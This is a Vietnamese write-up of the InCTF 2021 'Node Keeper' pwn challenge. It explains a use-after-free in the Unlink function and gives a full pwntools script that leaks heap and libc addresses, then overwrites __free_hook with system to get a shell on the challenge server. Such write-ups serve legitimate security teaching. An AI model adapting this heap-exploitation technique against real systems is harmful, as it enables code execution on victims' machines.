--- tags: pwn --- <style> html, body, .ui-content { background-color: #333; color: #ddd; } .markdown-body h1, .markdown-body h2, .markdown-body h3, .markdown-body h4, .markdown-body h5, .markdown-body h6 { color: #ddd; } .markdown-body h1, .markdown-body h2 { border-bottom-color: #ffffff69; } .markdown-body h1 .octicon-link, .markdown-body h2 .octicon-link, .markdown-body h3 .octicon-link, .markdown-body h4 .octicon-link, .markdown-body h5 .octicon-link, .markdown-body h6 .octicon-link { color: #fff; } .markdown-body img { background-color: transparent; } .ui-toc-dropdown .nav>.active:focus>a, .ui-toc-dropdown .nav>.active:hover>a, .ui-toc-dropdown .nav>.active>a { color: white; border-left: 2px solid white; } .expand-toggle:hover, .expand-toggle:focus, .back-to-top:hover, .back-to-top:focus, .go-to-bottom:hover, .go-to-bottom:focus { color: white; } .ui-toc-dropdown { background-color: #333; } .ui-toc-label.btn { background-color: #191919; color: white; } .ui-toc-dropdown .nav>li>a:focus, .ui-toc-dropdown .nav>li>a:hover { color: white; border-left: 1px solid white; } .markdown-body blockquote { color: #bcbcbc; } .markdown-body table tr { background-color: #5f5f5f; } .markdown-body table tr:nth-child(2n) { background-color: #4f4f4f; } .markdown-body code, .markdown-body tt { color: #eee; background-color: rgba(230, 230, 230, 0.36); } a, .open-files-container li.selected a { color: #5EB7E0; } </style> # InCTF 2021 - Node Keeper (pwn) ## Bug UAF ở hàm *Unlink* . 1. Tạo một linkedlist 1-2-3 2. Unlink node số 2 tại linked list trên thì ta sẽ đc 2 linked list (1-3 và 2-3) ## Solution - Dùng UAF fake Node --> leak heap - Fake một chunk có size > 0x400 rồi free (thì sẽ vào unsorted bin) --> leak libc - ghi đè *__free_hook_* (vì trên tcache ko check size của chunk khi được malloc) ```python= from pwn import * import sys elf = ELF("./chall") libc = ELF("./libc.so.6") def conn(): if sys.argv[1]=="1": # return process(elf.path) return process(elf.path, env={"LD_PRELOAD": libc.path}) else: return remote("pwn.challenge.bi0s.in", 1234) def add(length, data): p.sendlineafter(b"Choice >> ", b"1") p.sendlineafter(b"Enter length : ", str(length).encode()) # size < 0x60 p.sendafter(b"Enter data : ", data) def remove(idx, opt): p.sendlineafter(b"Choice >> ", b"2") p.sendlineafter(b"Enter index: ", str(idx).encode()) p.sendlineafter(b"Which one?(1337 for all) ", str(opt).encode()) def link(to_idx, from_idx): p.sendlineafter(b"Choice >> ", b"3") p.sendlineafter(b"Enter to index: ", str(to_idx).encode()) p.sendlineafter(b"Enter from index: ", str(from_idx).encode()) def unlink(idx, ofs, opt): p.sendlineafter(b"Choice >> ", b"4") p.sendlineafter(b"Enter index: ", str(idx).encode()) p.recv() p.sendline(str(ofs).encode()) p.sendlineafter(b"Do you want to keep it (y/n)? ", opt) def exp(): global p p = conn() ################################################# # local # ofs_heap = 0x3f0 # ofs_libc = 0x1ebbe0 # ofs_malloc = 0x1ebb70 # ofs_gadget = 0xe6c81 # remote ofs_heap = 0x3f0 ofs_libc = 0x1ebbe0 ofs_malloc = 0x1ebb70 ofs_gadget = 0xe6c81 ofs_free = 0x1eeb28 ofs_system = 0x55410 #################################################3 add(0x18, p64(0) + p64(0x511) + b"1"*8) add(0x18, b"B"*0x18) add(0x18, b"C"*0x18) add(0x18, b"E"*0x18) add(0x60, p64(0) + p64(0x111) + b"F"*0x20) add(0x60, b"E"*0x58) add(0x60, b"G"*0x58) add(0x60, b"E"*0x58) add(0x60, b"E"*0x58) link(0, 1) link(0, 2) link(0, 3) unlink(0, 3, b"y") add(0x28, b"D"*0x28) remove(1, 1337) # remove(2, 1) ########################## add(0x18, p64(0)) link(0, 2) p.sendlineafter(b"Choice >> ", b"2") p.sendlineafter(b"Enter index: ", str(1).encode()) p.recvuntil(b"Node 1 Offset 1 : ") heap_leak = u64(p.recv(6).ljust(8, b"\x00")) log.info("heap_leak: %#x" % heap_leak) p.sendlineafter(b"Which one?(1337 for all) ", str(1337).encode()) #########################################3 add(0x18, b"H"*0x10) remove(1, 1337) add(0x18, p64(heap_leak + 0x120) + p64(0x21) + p64(heap_leak - ofs_heap)) link(4, 5) link(4, 6) link(4, 7) link(4, 8) link(4, 14) add(0x60, b"G"*0x50 + p64(0) + p64(0x31)) add(0x60, b"G"*0x10 + p64(0) + p64(0x21) + b"C"*0x10) add(0x18, b"K"*0x10) # input("Starting...\n") remove(0, 3) ######################################### remove(2, 1337) remove(3, 1337) add(0x18, b"2"*0x10) add(0x18, b"2"*0x10) link(5, 2) link(5, 3) unlink(5, 2, b"y") remove(2, 1337) add(0x18, p64(0) + p64(0x18) + p64(heap_leak - ofs_heap + 0x20)) p.sendlineafter(b"Choice >> ", b"4") p.sendlineafter(b"Enter index: ", str(5).encode()) p.recvuntil(b"Node 5 Offset 2 : ") libc_base = u64(p.recv(6).ljust(8, b"\x00")) - ofs_libc log.info("libc_base: %#x" % libc_base) p.sendlineafter(b"Enter offset: ", b"1") p.sendlineafter(b"Do you want to keep it (y/n)? ", b"n") gadget = libc_base + ofs_gadget system = libc_base + ofs_system ########################################### # add(0x60, b"3"*0x20) remove(1, 1337) add(0x18, b"5"*8) remove(1, 1337) add(0x18, p64(0) + p64(0x60) + p64(heap_leak + 0x80)) remove(2, 1337) add(0x20, p64(0) + p64(0x71) + p64(libc_base + ofs_free)) add(0x60, b"/bin/sh\x00") add(0x60, p64(system)) input("Starting...\n") remove(3, 1337) # p.sendlineafter(b"Choice >> ", b"1") # p.sendlineafter(b"Enter length : ", str(0x18).encode()) # size < 0x60 p.interactive() exp() ``` *Script cồng kềnh vler* :'<